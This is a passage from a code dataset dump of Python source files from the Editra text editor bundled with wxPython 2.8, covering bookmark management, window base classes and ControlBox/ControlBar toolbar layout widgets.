item.SetBitmap(bmp)\n return item\n\n def GetName(self):\n \"\"\"Return the name of this control\"\"\"\n return self.__name__\n\n @staticmethod\n def IsStockable():\n \"\"\"EdBookmark can be saved in the shelf preference stack\"\"\"\n return True\n\n # Bookmark storage\n _marks = list()\n @classmethod\n def OnStoreBM(cls, msg):\n data = msg.GetData()\n buf = data.get('stc')\n line = data.get('line')\n mark = Bookmark()\n mark.Filename = buf.GetFileName()\n mark.Line = line\n if data.get('added', False):\n if mark not in cls._marks:\n # Store the stc bookmark handle\n mark.Handle = data.get('handle', None)\n # Store an alias for the bookmark\n name = u\"\"\n cline = buf.GetCurrentLine()\n if line == cline:\n name = buf.GetSelectedText()\n if not name:\n name = buf.GetLine(line)\n mark.Name = name.strip()\n cls._marks.append(mark)\n else:\n if mark in cls._marks:\n idx = cls._marks.index(mark)\n cls._marks.pop(idx)\n\n @classmethod\n def GetMarks(cls):\n return cls._marks\n\ned_msg.Subscribe(EdBookmarks.OnStoreBM, ed_msg.EDMSG_UI_STC_BOOKMARK)\n\n#-----------------------------------------------------------------------------#\n\nclass BookmarkWindow(ed_basewin.EdBaseCtrlBox):\n \"\"\"Shelf window for managing bookmarks\"\"\"\n def __init__(self, parent):\n super(BookmarkWindow, self).__init__(parent)\n\n # Attributes\n self._list = BookmarkList(self)\n\n #Setup\n self.SetWindow(self._list)\n ctrlbar = self.CreateControlBar(wx.TOP)\n ctrlbar.AddStretchSpacer()\n self._delbtn = self.AddPlateButton(_(\"Delete\"), ed_glob.ID_DELETE)\n self._delbtn.SetToolTipString(_(\"Delete Bookmark\"))\n\n # Message Handlers\n ed_msg.Subscribe(self.OnBookmark, ed_msg.EDMSG_UI_STC_BOOKMARK)\n\n # Event Handlers\n self.Bind(wx.EVT_WINDOW_DESTROY, self.OnDestroy, self)\n self.Bind(wx.EVT_LIST_ITEM_ACTIVATED, self.OnItemActivate, self._list)\n self.Bind(wx.EVT_BUTTON, self.OnDelBm, self._delbtn)\n # BUG in wxAUI UpdateUI events not processed when docked\n # TODO: renable when switch to agw aui\n# self.Bind(wx.EVT_UPDATE_UI,\n# lambda evt: evt.Enable(bool(len(self._list.GetSelections()))),\n# self._delbtn)\n\n def OnDestroy(self, evt):\n \"\"\"Unsubscribe message handlers on delete\"\"\"\n if evt.GetId() == self.GetId():\n ed_msg.Unsubscribe(self.OnBookmark)\n evt.Skip()\n\n def OnBookmark(self, msg):\n \"\"\"Bookmark added or removed callback\"\"\"\n # Update on next iteration to ensure that handler\n # in the singleton data store have been updated.\n wx.CallAfter(self.DoUpdateListCtrl)\n\n def OnDelBm(self, evt):\n \"\"\"Remove the selected bookmark(s) from the list and the buffer\"\"\"\n items = self._list.GetSelections()\n if len(items):\n items.reverse()\n marks = EdBookmarks.GetMarks()\n for item in items:\n if item < len(marks):\n mark = marks.pop(item)\n app = wx.GetApp()\n mw = app.GetActiveWindow()\n if mw:\n nb = mw.GetNotebook()\n buf = nb.FindBuffer(mark.Filename)\n if buf:\n buf.MarkerDeleteHandle(mark.Handle)\n self.DoUpdateListCtrl()\n\n def DoUpdateListCtrl(self):\n \"\"\"Update the listctrl for changes in the cache\"\"\"\n nMarks = len(EdBookmarks.GetMarks())\n self._list.SetItemCount(nMarks)\n # Refresh everything\n # XXX: if optimization is needed only refresh visible items\n self._list.RefreshItems(0, nMarks)\n self._list.Refresh()\n\n def OnItemActivate(self, evt):\n \"\"\"Handle double clicks on items to navigate to the\n selected bookmark.\n\n \"\"\"\n index = evt.m_itemIndex\n marks = EdBookmarks.GetMarks()\n if index < len(marks):\n mark = marks[index]\n self.GotoBookmark(mark)\n\n def GotoBookmark(self, mark):\n \"\"\"Goto the bookmark in the editor\n @param mark: BookMark\n\n \"\"\"\n app = wx.GetApp()\n mw = app.GetActiveWindow()\n if mw:\n nb = mw.GetNotebook()\n buf = nb.FindBuffer(mark.Filename)\n use_handle = True\n if not buf:\n nb.OpenPage(ebmlib.GetPathName(mark.Filename),\n ebmlib.GetFileName(mark.Filename))\n buf = nb.GetCurrentPage()\n use_handle = False # Handle is invalid so use line number\n\n if buf:\n # Ensure the tab is the current one\n nb.GotoPage(mark.Filename)\n # Jump to the bookmark line\n if use_handle:\n lnum = buf.MarkerLineFromHandle(mark.Handle)\n else:\n lnum = mark.Line\n buf.GotoLine(lnum)\n else:\n util.Log(\"[ed_bookmark][err] Failed to locate mainwindow\")\n\n#-----------------------------------------------------------------------------#\n\nclass BookmarkList(eclib.EBaseListCtrl):\n \"\"\"ListCtrl for displaying the bookmarks in\"\"\"\n BOOKMARK = 0\n FILE_NAME = 1\n LINE_NUM = 2\n def __init__(self, parent):\n super(BookmarkList, self).__init__(parent,\n style=wx.LC_REPORT|\\\n wx.LC_EDIT_LABELS|\\\n wx.LC_VIRTUAL)\n\n # Setup\n self._il = wx.ImageList(16,16)\n self._idx = self._il.Add(Bookmark().Bitmap)\n self.SetImageList(self._il, wx.IMAGE_LIST_SMALL)\n self.InsertColumn(BookmarkList.BOOKMARK, _(\"Bookmark\"))\n self.InsertColumn(BookmarkList.FILE_NAME, _(\"File Location\"))\n self.InsertColumn(BookmarkList.LINE_NUM, _(\"Line Number\"))\n self.setResizeColumn(BookmarkList.FILE_NAME+1) #NOTE: +1 bug in mixin\n self.SetItemCount(len(EdBookmarks.GetMarks()))\n\n def OnGetItemImage(self, item):\n return 0\n\n def OnGetItemText(self, item, column):\n \"\"\"Override for virtual control\"\"\"\n marks = EdBookmarks.GetMarks()\n val = u\"\"\n if item < len(marks):\n mark = marks[item]\n if column == BookmarkList.BOOKMARK:\n val = mark.Name\n if not val:\n val = _(\"Bookmark%d\") % item\n elif column == BookmarkList.FILE_NAME:\n val = mark.Filename\n elif column == BookmarkList.LINE_NUM:\n val = unicode(mark.Line + 1)\n return val\n", "id": "11875013", "language": "Python", "matching_score": 5.571621417999268, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ed_bookmark.py" }, { "content": "###############################################################################\n# Name: ed_basewin.py #\n# Purpose: Common window base class(es) #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2011 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nThis module provides base classes for windows and dialogs to be used within\nEditra.\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: ed_basewin.py 67857 2011-06-05 00:16:24Z CJP $\"\n__revision__ = \"$Revision: 67857 $\"\n\n#--------------------------------------------------------------------------#\n# Imports\nimport wx\n\n# Local Imports\nimport ed_msg\nimport eclib\nimport util\n\n#--------------------------------------------------------------------------#\n\ndef FindMainWindow(window):\n \"\"\"Find the MainWindow of the given window\n @return: MainWindow or None\n\n \"\"\"\n def IsMainWin(win):\n \"\"\"Check if the given window is a main window\"\"\"\n return getattr(win, '__name__', '') == 'MainWindow'\n\n if IsMainWin(window):\n return window\n # else start looking up the parent hierarchy\n tlw = window.GetTopLevelParent()\n if IsMainWin(tlw):\n return tlw\n elif hasattr(tlw, 'GetParent'):\n tlw = tlw.GetParent()\n if IsMainWin(tlw):\n return tlw\n\n return None\n\n#--------------------------------------------------------------------------#\n\nclass EdBaseDialog(eclib.ECBaseDlg):\n \"\"\"Editra Dialog Base Class\"\"\"\n def __init__(self, parent, id=wx.ID_ANY, title=u\"\",\n pos=wx.DefaultPosition, size=wx.DefaultSize, \n style=wx.DEFAULT_DIALOG_STYLE, name=u\"EdBaseDialog\"):\n super(EdBaseDialog, self).__init__(parent, id, title, pos,\n size, style, name)\n\n#--------------------------------------------------------------------------#\n\nclass EdBaseFrame(wx.Frame):\n \"\"\"Editra Frame Base Class\"\"\"\n def __init__(self, parent, id=wx.ID_ANY, title=u\"\",\n pos=wx.DefaultPosition, size=wx.DefaultSize,\n style=wx.DEFAULT_FRAME_STYLE, name=u\"EdBaseFrame\"):\n super(EdBaseFrame, self).__init__(parent, id, title, pos,\n size, style, name)\n\n # Setup\n util.SetWindowIcon(self)\n\n # Register with App\n wx.GetApp().RegisterWindow(repr(self), self)\n\n # Event Handlers\n self.Bind(wx.EVT_CLOSE, self.OnClose)\n\n def OnClose(self, event):\n \"\"\"Handle frame closure event\"\"\"\n wx.GetApp().UnRegisterWindow(repr(self))\n event.Skip()\n\n#--------------------------------------------------------------------------#\n\nclass EdBaseCtrlBox(eclib.ControlBox):\n \"\"\"ControlBox base class to be used by all common components\"\"\"\n def __init__(self, parent):\n super(EdBaseCtrlBox, self).__init__(parent)\n\n ed_msg.Subscribe(self._OnFontChange, ed_msg.EDMSG_DSP_FONT)\n self.Bind(wx.EVT_WINDOW_DESTROY, self._OnDestroy)\n\n def _OnDestroy(self, evt):\n if self and evt.GetEventObject is self:\n ed_msg.Unsubscribe(self._OnFontChange)\n\n def _OnFontChange(self, msg):\n if not self:\n return\n font = msg.GetData()\n if isinstance(font, wx.Font):\n for pos in (wx.TOP, wx.BOTTOM, wx.LEFT, wx.RIGHT):\n cbar = self.GetControlBar(pos)\n if cbar:\n for child in cbar.GetChildren():\n child.SetFont(font)\n\n def AddPlateButton(self, lbl=u\"\", bmp=-1,\n align=wx.ALIGN_LEFT, cbarpos=wx.TOP):\n \"\"\"Add an eclib.PlateButton to the ControlBar specified by\n cbarpos.\n @keyword lbl: Button Label\n @keyword bmp: Bitmap or EditraArtProvider ID\n @keyword align: button alignment\n @keyword cbarpos: ControlBar position\n @return: PlateButton instance\n\n \"\"\"\n ctrlbar = self.GetControlBar(cbarpos)\n assert ctrlbar is not None, \"No ControlBar at cbarpos\"\n if not isinstance(bmp, wx.Bitmap):\n assert isinstance(bmp, int)\n bmp = wx.ArtProvider.GetBitmap(str(bmp), wx.ART_MENU)\n if bmp.IsNull() or not bmp.IsOk():\n bmp = None\n btn = eclib.PlateButton(ctrlbar, wx.ID_ANY, lbl, bmp,\n style=eclib.PB_STYLE_NOBG)\n ctrlbar.AddControl(btn, align)\n return btn\n\n def CreateControlBar(self, pos=wx.TOP):\n \"\"\"Override for CreateControlBar to automatically set the\n flat non-gradient version of the control under GTK.\n\n \"\"\"\n cbar = super(EdBaseCtrlBox, self).CreateControlBar(pos)\n if wx.Platform == '__WXGTK__':\n cbar.SetWindowStyle(eclib.CTRLBAR_STYLE_DEFAULT)\n return cbar\n", "id": "5266079", "language": "Python", "matching_score": 4.373805046081543, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ed_basewin.py" }, { "content": "###############################################################################\n# Name: ctrlbox.py #\n# Purpose: Container Window helper class #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2008 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nEditra Control Library: ControlBox\n\nSizer managed panel class with support for a toolbar like control that can be\nplaced on the top/bottom of the main window area, multiple control bars are also\npossible.\n\nClass ControlBar:\n\nToolbar like control with automatic item spacing and layout.\n\nStyles:\n - CTRLBAR_STYLE_DEFAULT: Plain background\n - CTRLBAR_STYLE_GRADIENT: Draw the bar with a vertical gradient.\n - CTRLBAR_STYLE_BORDER_BOTTOM: add a border to the bottom\n - CTRLBAR_STYLE_BORDER: add a border to the top\n - CTRLBAR_STYLE_VERTICAL = Vertical ControlBar tool layout\n\nClass ControlBox:\n\nThe ControlBox is a sizer managed panel that supports easy creation of windows\nthat require a sandwich like layout.\n\n+---------------------------------------+\n| ControlBar |\n+---------------------------------------+\n| |\n| |\n| MainWindow Area |\n| |\n| |\n| |\n+---------------------------------------+\n| ControlBar |\n+---------------------------------------+\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: ctrlbox.py 67325 2011-03-27 20:24:20Z CJP $\"\n__revision__ = \"$Revision: 67325 $\"\n\n__all__ = [\"ControlBox\", \"CTRLBOX_NAME_STR\",\n\n \"ControlBar\", \"ControlBarEvent\",\n \"CTRLBAR_STYLE_DEFAULT\", \"CTRLBAR_STYLE_GRADIENT\",\n \"CTRLBAR_STYLE_BORDER_TOP\", \"CTRLBAR_STYLE_BORDER_BOTTOM\",\n \"CTRLBAR_STYLE_VERTICAL\",\n \"EVT_CTRLBAR\", \"edEVT_CTRLBAR\", \"CTRLBAR_NAME_STR\",\n\n \"SegmentBar\", \"SegmentBarEvent\",\n \"EVT_SEGMENT_SELECTED\", \"edEVT_SEGMENT_SELECTED\",\n \"EVT_SEGMENT_CLOSE\", \"edEVT_SEGMENT_CLOSE\",\n \"CTRLBAR_STYLE_LABELS\", \"CTRLBAR_STYLE_NO_DIVIDERS\",\n \"SEGBTN_OPT_CLOSEBTNL\", \"SEGBTN_OPT_CLOSEBTNR\",\n \"SEGBAR_NAME_STR\", \"SEGMENT_HT_NOWHERE\",\n \"SEGMENT_HT_SEG\", \"SEGMENT_HT_X_BTN\"\n]\n\n#--------------------------------------------------------------------------#\n# Dependencies\nimport wx\n\n# Local Imports\nfrom eclutil import AdjustColour, DrawCircleCloseBmp\n\n#--------------------------------------------------------------------------#\n# Globals\n\n#-- Control Name Strings --#\nCTRLBAR_NAME_STR = u'EditraControlBar'\nCTRLBOX_NAME_STR = u'EditraControlBox'\nSEGBAR_NAME_STR = u'EditraSegmentBar'\n\n#-- Control Style Flags --#\n\n# ControlBar / SegmentBar Style Flags\nCTRLBAR_STYLE_DEFAULT = 0\nCTRLBAR_STYLE_GRADIENT = 1 # Paint the bar with a gradient\nCTRLBAR_STYLE_BORDER_BOTTOM = 2 # Add a border to the bottom\nCTRLBAR_STYLE_BORDER_TOP = 4 # Add a border to the top\nCTRLBAR_STYLE_LABELS = 8 # Draw labels under the icons (SegmentBar)\nCTRLBAR_STYLE_NO_DIVIDERS = 16 # Don't draw dividers between segments\nCTRLBAR_STYLE_VERTICAL = 32 # Control bar in vertical orientation\n\n# Segment Button Options\nSEGBTN_OPT_NONE = 1 # No options set.\nSEGBTN_OPT_CLOSEBTNL = 2 # Close button on the segments left side.\nSEGBTN_OPT_CLOSEBTNR = 4 # Close button on the segment right side.\n\n# Hit test locations\nSEGMENT_HT_NOWHERE = 0\nSEGMENT_HT_SEG = 1\nSEGMENT_HT_X_BTN = 2\n\n# Segment States\nSEGMENT_STATE_NONE = 0 # Hover no where\nSEGMENT_STATE_SEG = 1 # Hover on segment\nSEGMENT_STATE_X = 2 # Hover on segment x button\n\n# ControlBar event for items added by AddTool\nedEVT_CTRLBAR = wx.NewEventType()\nEVT_CTRLBAR = wx.PyEventBinder(edEVT_CTRLBAR, 1)\nclass ControlBarEvent(wx.PyCommandEvent):\n \"\"\"ControlBar Button Event\"\"\"\n\nedEVT_SEGMENT_SELECTED = wx.NewEventType()\nEVT_SEGMENT_SELECTED = wx.PyEventBinder(edEVT_SEGMENT_SELECTED, 1)\nedEVT_SEGMENT_CLOSE = wx.NewEventType()\nEVT_SEGMENT_CLOSE = wx.PyEventBinder(edEVT_SEGMENT_CLOSE, 1)\nclass SegmentBarEvent(wx.PyCommandEvent):\n \"\"\"SegmentBar Button Event\"\"\"\n def __init__(self, etype, id=0):\n super(SegmentBarEvent, self).__init__(etype, id)\n\n # Attributes\n self.notify = wx.NotifyEvent(etype, id)\n self._pre = -1\n self._cur = -1\n\n def GetPreviousSelection(self):\n \"\"\"Get the previously selected segment\n @return: int\n\n \"\"\"\n return self._pre\n\n def GetCurrentSelection(self):\n \"\"\"Get the currently selected segment\n @return: int\n\n \"\"\"\n return self._cur\n\n def IsAllowed(self):\n \"\"\"Is the event allowed to propagate\n @return: bool\n\n \"\"\"\n return self.notify.IsAllowed()\n\n def SetSelections(self, previous=-1, current=-1):\n \"\"\"Set the events selection\n @keyword previous: previously selected button index (int)\n @keyword previous: currently selected button index (int)\n\n \"\"\"\n self._pre = previous\n self._cur = current\n\n def Veto(self):\n \"\"\"Veto the event\"\"\"\n self.notify.Veto()\n\n#--------------------------------------------------------------------------#\n\nclass ControlBox(wx.PyPanel):\n \"\"\"Simple managed panel helper class that allows for adding and\n managing the position of a small toolbar like panel.\n @see: L{ControlBar}\n\n \"\"\"\n def __init__(self, parent, id=wx.ID_ANY,\n pos=wx.DefaultPosition, size=wx.DefaultSize,\n style=wx.TAB_TRAVERSAL|wx.NO_BORDER,\n name=CTRLBOX_NAME_STR):\n super(ControlBox, self).__init__(parent, id, pos, size, style, name)\n\n # Attributes\n self._vsizer = wx.BoxSizer(wx.VERTICAL)\n self._hsizer = wx.BoxSizer(wx.HORIZONTAL)\n self._cbars = dict()\n self._main = None\n\n # Layout\n self._hsizer.Add(self._vsizer, 1, wx.EXPAND)\n self.SetSizer(self._hsizer)\n\n #---- Properties ----#\n Window = property(lambda self: self.GetWindow())\n\n def _GetCtrlBarSizer(self, pos):\n \"\"\"Get the correct sizer for the ControlBar at the given pos\n @param pos: wx.TOP/LEFT/RIGHT/BOTTOM\n\n \"\"\"\n if pos in (wx.TOP, wx.BOTTOM):\n sizer = self._vsizer\n else:\n sizer = self._hsizer\n return sizer\n\n def ChangeWindow(self, window):\n \"\"\"Change the main window area, and return the current window\n @param window: Any window/panel like object\n @return: the old window or None\n\n \"\"\"\n rwindow = None\n if self.GetWindow() is None or not isinstance(self._main, wx.Window):\n del self._main\n topb = self.GetControlBar(wx.TOP)\n if topb is None:\n self._vsizer.Add(window, 1, wx.EXPAND)\n else:\n self._vsizer.Insert(1, window, 1, wx.EXPAND)\n else:\n self._vsizer.Replace(self._main, window)\n rwindow = self._main\n\n self._main = window\n return rwindow\n\n def CreateControlBar(self, pos=wx.TOP):\n \"\"\"Create a ControlBar at the given position if one does not\n already exist.\n @keyword pos: wx.TOP (default), BOTTOM, LEFT, RIGHT\n @postcondition: A top aligned L{ControlBar} is created.\n @return: ControlBar\n\n \"\"\"\n cbar = self.GetControlBar(pos)\n if cbar is None:\n dsize = (-1, 24)\n style=CTRLBAR_STYLE_GRADIENT\n if pos in (wx.LEFT, wx.RIGHT):\n dsize = (24, -1)\n style |= CTRLBAR_STYLE_VERTICAL\n cbar = ControlBar(self, size=dsize, style=style)\n self.SetControlBar(cbar, pos)\n return cbar\n\n def GetControlBar(self, pos=wx.TOP):\n \"\"\"Get the L{ControlBar} used by this window\n @param pos: wx.TOP, BOTTOM, LEFT, RIGHT\n @return: ControlBar or None\n\n \"\"\"\n assert pos in (wx.TOP, wx.LEFT, wx.BOTTOM, wx.RIGHT)\n cbar = self._cbars.get(pos, None)\n return cbar\n\n def GetWindow(self):\n \"\"\"Get the main display window\n @return: Window or None\n\n \"\"\"\n return self._main\n\n def ReplaceControlBar(self, ctrlbar, pos=wx.TOP):\n \"\"\"Replace the L{ControlBar} at the given position\n with the given ctrlbar and return the bar that was\n replaced or None.\n @param ctrlbar: L{ControlBar}\n @keyword pos: Position\n @return: L{ControlBar} or None\n\n \"\"\"\n assert isinstance(ctrlbar, ControlBar)\n assert pos in (wx.TOP, wx.BOTTOM, wx.LEFT, wx.RIGHT)\n tbar = self.GetControlBar(pos)\n rbar = None\n sizer = self._GetCtrlBarSizer(pos)\n if tbar is None and pos in (wx.TOP, wx.LEFT):\n sizer.Insert(0, ctrlbar, 0, wx.EXPAND)\n elif tbar is None and pos in (wx.BOTTOM, wx.RIGHT):\n sizer.Add(ctrlbar, 0, wx.EXPAND)\n else:\n sizer.Replace(tbar, ctrlbar)\n rbar = tbar\n\n self._cbars[pos] = ctrlbar\n\n return rbar\n\n def SetControlBar(self, ctrlbar, pos=wx.TOP):\n \"\"\"Set the ControlBar used by this ControlBox\n @param ctrlbar: L{ControlBar}\n @keyword pos: wx.TOP/wx.BOTTOM/wx.LEFT/wx.RIGHT\n\n \"\"\"\n assert isinstance(ctrlbar, ControlBar)\n assert pos in (wx.TOP, wx.BOTTOM, wx.LEFT, wx.RIGHT)\n tbar = self.GetControlBar(pos)\n if tbar is ctrlbar:\n return # ignore setting same bar again\n sizer = self._GetCtrlBarSizer(pos)\n if tbar is None and pos in (wx.TOP, wx.LEFT):\n sizer.Insert(0, ctrlbar, 0, wx.EXPAND)\n elif tbar is None and pos in (wx.BOTTOM, wx.RIGHT):\n sizer.Add(ctrlbar, 0, wx.EXPAND)\n else:\n sizer.Replace(tbar, ctrlbar)\n\n try:\n tbar.Destroy()\n except wx.PyDeadObjectError:\n pass\n\n self._cbars[pos] = ctrlbar\n\n def SetWindow(self, window):\n \"\"\"Set the main window control portion of the box. This will be the\n main central item shown in the box\n @param window: Any window/panel like object\n\n \"\"\"\n if self.GetWindow() is None:\n topb = self.GetControlBar(wx.TOP)\n botb = self.GetControlBar(wx.BOTTOM)\n if (topb and botb is None) or (topb is None and botb is None):\n self._vsizer.Add(window, 1, wx.EXPAND)\n elif botb and topb is None:\n self._vsizer.Insert(0, window, 1, wx.EXPAND)\n else:\n self._vsizer.Insert(1, window, 1, wx.EXPAND)\n else:\n self._vsizer.Replace(self._main, window)\n\n try:\n self._main.Destroy()\n except wx.PyDeadObjectError:\n pass\n\n self._main = window\n\n#--------------------------------------------------------------------------#\n\nclass ControlBar(wx.PyPanel):\n \"\"\"Toolbar like control container for use with a L{ControlBox}. It\n uses a panel with a managed sizer as a convenient way to add a small\n bar with various controls in it to any window.\n\n \"\"\"\n def __init__(self, parent, id=wx.ID_ANY,\n pos=wx.DefaultPosition, size=wx.DefaultSize,\n style=CTRLBAR_STYLE_DEFAULT,\n name=CTRLBAR_NAME_STR):\n super(ControlBar, self).__init__(parent, id, pos, size,\n wx.TAB_TRAVERSAL|wx.NO_BORDER, name)\n\n tsz_orient = wx.HORIZONTAL\n msz_orient = wx.VERTICAL\n if style & CTRLBAR_STYLE_VERTICAL:\n tsz_orient = wx.VERTICAL\n msz_orient = wx.HORIZONTAL\n\n # Attributes\n self._style = style\n self._sizer = wx.BoxSizer(tsz_orient)\n self._tools = dict(simple=list())\n self._spacing = (5, 5)\n\n # Drawing related\n color = wx.SystemSettings_GetColour(wx.SYS_COLOUR_3DFACE)\n if wx.Platform != '__WXMAC__':\n self._color2 = AdjustColour(color, 15)\n self._color = AdjustColour(color, -10)\n else:\n self._color2 = AdjustColour(color, 15)\n self._color = AdjustColour(color, -20)\n\n pcolor = tuple([min(190, x) for x in AdjustColour(self._color, -25)])\n self._pen = wx.Pen(pcolor, 1)\n\n # Setup\n msizer = wx.BoxSizer(msz_orient)\n spacer = (0, 0)\n msizer.Add(spacer, 0)\n msizer.Add(self._sizer, 1, wx.EXPAND)\n msizer.Add(spacer, 0)\n self.SetSizer(msizer)\n\n # Event Handlers\n self.Bind(wx.EVT_PAINT, self.OnPaint)\n self.Bind(wx.EVT_BUTTON, self._DispatchEvent)\n\n def _DispatchEvent(self, evt):\n \"\"\"Translate the button events generated by the controls added by\n L{AddTool} to L{ControlBarEvent}'s.\n\n \"\"\"\n e_id = evt.GetId()\n if e_id in self._tools['simple']:\n cb_evt = ControlBarEvent(edEVT_CTRLBAR, e_id)\n self.GetEventHandler().ProcessEvent(cb_evt)\n else:\n # Allow to propagate\n evt.Skip()\n\n def _GetAlignment(self):\n \"\"\"Verify and get the proper secondary alignment based on the\n control bar alignment.\n\n \"\"\"\n if not self.IsVerticalMode():\n align2 = wx.ALIGN_CENTER_VERTICAL\n else:\n align2 = wx.ALIGN_CENTER_HORIZONTAL\n return align2\n\n def AddControl(self, control, align=-1, stretch=0):\n \"\"\"Add a control to the bar\n @param control: The control to add to the bar\n @keyword align: wx.ALIGN_**\n @keyword stretch: The controls proportions 0 for normal, 1 for expand\n\n \"\"\"\n if wx.Platform == '__WXMAC__':\n if hasattr(control, 'SetWindowVariant'):\n control.SetWindowVariant(wx.WINDOW_VARIANT_SMALL)\n\n # Default to proper alignment when -1 specified\n if align not in (wx.ALIGN_LEFT, wx.ALIGN_RIGHT,\n wx.ALIGN_BOTTOM, wx.ALIGN_TOP):\n if self.IsVerticalMode():\n align = wx.ALIGN_TOP\n else:\n align = wx.ALIGN_LEFT\n\n align2 = self._GetAlignment()\n if align in (wx.ALIGN_LEFT, wx.ALIGN_TOP):\n self._sizer.Add(self._spacing, 0)\n self._sizer.Add(control, stretch, align|align2)\n else:\n self._sizer.Add(control, stretch, align|align2)\n self._sizer.Add(self._spacing, 0)\n\n self.Layout()\n\n def AddSpacer(self, width, height):\n \"\"\"Add a fixed size spacer to the control bar\n @param width: width of the spacer\n @param height: height of the spacer\n\n \"\"\"\n self._sizer.Add((width, height), 0)\n\n def AddStretchSpacer(self):\n \"\"\"Add an expanding spacer to the bar that will stretch and\n contract when the window changes size.\n\n \"\"\"\n self._sizer.AddStretchSpacer(2)\n\n def AddTool(self, tid, bmp, help=u'', align=-1):\n \"\"\"Add a simple bitmap button tool to the control bar\n @param tid: Tool Id\n @param bmp: Tool bitmap\n @keyword help: Short help string\n @keyword align: wx.ALIGN_**\n\n \"\"\"\n tool = wx.BitmapButton(self, tid, bmp, style=wx.NO_BORDER)\n if wx.Platform == '__WXGTK__':\n # SetMargins not available in wxPython 2.9+\n getattr(tool, 'SetMargins', lambda x,y: False)(0, 0)\n spacer = (0, 0)\n else:\n spacer = self._spacing\n tool.SetToolTipString(help)\n\n # Default to proper alignment when unknown is specified\n if align not in (wx.ALIGN_LEFT, wx.ALIGN_RIGHT,\n wx.ALIGN_BOTTOM, wx.ALIGN_TOP):\n if self.IsVerticalMode():\n align = wx.ALIGN_TOP\n else:\n align = wx.ALIGN_LEFT\n\n align2 = self._GetAlignment()\n self._tools['simple'].append(tool.GetId())\n if align in (wx.ALIGN_TOP, wx.ALIGN_LEFT):\n self._sizer.Add(spacer, 0)\n self._sizer.Add(tool, 0, align|align2)\n else:\n self._sizer.Add(spacer, 0)\n self._sizer.Add(tool, 0, align|align2)\n\n def GetControlSizer(self):\n \"\"\"Get the sizer that is used to layout the contols (horizontal sizer)\n @return: wx.BoxSizer\n\n \"\"\"\n return self._sizer\n\n def GetControlSpacing(self):\n \"\"\"Get the spacing used between controls\n @return: size tuple\n\n \"\"\"\n return self._spacing\n\n def IsVerticalMode(self):\n \"\"\"Is the ControlBar in vertical orientation\n @return: bool\n\n \"\"\"\n return self._style & CTRLBAR_STYLE_VERTICAL\n\n def DoPaintBackground(self, dc, rect, color, color2):\n \"\"\"Paint the background of the given rect based on the style of\n the control bar.\n @param dc: DC to draw on\n @param rect: wx.Rect\n @param color: Pen/Base gradient color\n @param color2: Gradient end color\n\n \"\"\"\n # Paint the gradient\n if self._style & CTRLBAR_STYLE_GRADIENT:\n if isinstance(dc, wx.GCDC):\n gc = dc.GetGraphicsContext()\n else:\n gc = wx.GraphicsContext.Create(dc)\n\n if not self.IsVerticalMode():\n grad = gc.CreateLinearGradientBrush(rect.x, rect.y, rect.x,\n rect.x+rect.height,\n color2, color)\n else:\n grad = gc.CreateLinearGradientBrush(rect.x, rect.y,\n rect.x+rect.width,\n rect.y,\n color2, color)\n\n gc.SetPen(gc.CreatePen(self._pen))\n gc.SetBrush(grad)\n gc.DrawRectangle(rect.x, rect.y, rect.Width - 0.5, rect.Height - 0.5)\n\n dc.SetPen(wx.Pen(color, 1))\n\n # TODO: handle vertical mode\n if not self.IsVerticalMode():\n # Add a border to the bottom\n if self._style & CTRLBAR_STYLE_BORDER_BOTTOM:\n dc.DrawLine(rect.x, rect.GetHeight() - 1,\n rect.GetWidth(), rect.GetHeight() - 1)\n\n # Add a border to the top\n if self._style & CTRLBAR_STYLE_BORDER_TOP:\n dc.DrawLine(rect.x, 1, rect.GetWidth(), 1)\n\n def OnPaint(self, evt):\n \"\"\"Paint the background to match the current style\n @param evt: wx.PaintEvent\n\n \"\"\"\n dc = wx.AutoBufferedPaintDCFactory(self)\n gc = wx.GCDC(dc)\n rect = self.GetClientRect()\n\n self.DoPaintBackground(gc, rect, self._color, self._color2)\n\n evt.Skip()\n\n def SetToolSpacing(self, px):\n \"\"\"Set the spacing to use between tools/controls.\n @param px: int (number of pixels)\n @todo: dynamically update existing layouts\n\n \"\"\"\n self._spacing = (px, px)\n\n def SetVMargin(self, top, bottom):\n \"\"\"WARNING this method is Deprecated use SetMargins instead!!\n @param top: Top margin in pixels\n @param bottom: Bottom margin in pixels\n\n \"\"\"\n # TODO: Remove all usage of this method\n self.SetMargins(top, bottom)\n\n def SetMargins(self, param1, param2):\n \"\"\"Setup the margins on the edges of the ControlBar\n @param param1: left/top margin depending on orientation\n @param param2: right/bottom margin depending on orientation\n\n \"\"\"\n sizer = self.GetSizer()\n if wx.VERSION < (2, 9, 0, 0, ''):\n sizer.GetItem(0).SetSpacer((param1, param1))\n sizer.GetItem(2).SetSpacer((param2, param2))\n else:\n sizer.GetItem(0).AssignSpacer((param1, param1))\n sizer.GetItem(2).AssignSpacer((param2, param2))\n sizer.Layout()\n\n def SetWindowStyle(self, style):\n \"\"\"Set the style flags of this window\n @param style: long\n\n \"\"\"\n if self.IsVerticalMode() and not (CTRLBAR_STYLE_VERTICAL & style):\n # Switching from vertical to HORIZONTAL\n self._sizer.SetOrientation(wx.HORIZONTAL)\n elif not self.IsVerticalMode() and (CTRLBAR_STYLE_VERTICAL & style):\n # Switching from horizontal to vertical\n self._sizer.SetOrientation(wx.VERTICAL)\n self._style = style\n self.Layout()\n self.Refresh()\n\n#--------------------------------------------------------------------------#\n\nclass _SegmentButton(object):\n \"\"\"Class for managing segment button data\"\"\"\n def __init__(self, id_, bmp, label, lbl_size):\n super(_SegmentButton, self).__init__()\n\n # Attributes\n self._id = id_\n self._bmp = bmp\n self._lbl = label\n self._lbl_size = lbl_size\n self._rect = wx.Rect()\n self._bx1 = 0\n self._bx2 = 0\n self._opts = 0\n self._selected = False\n self._x_button = wx.Rect()\n self._x_state = SEGMENT_STATE_NONE\n\n Id = property(lambda self: self._id,\n lambda self, id_: setattr(self, '_id', id_))\n Bitmap = property(lambda self: self._bmp,\n lambda self, bmp: setattr(self, '_bmp', 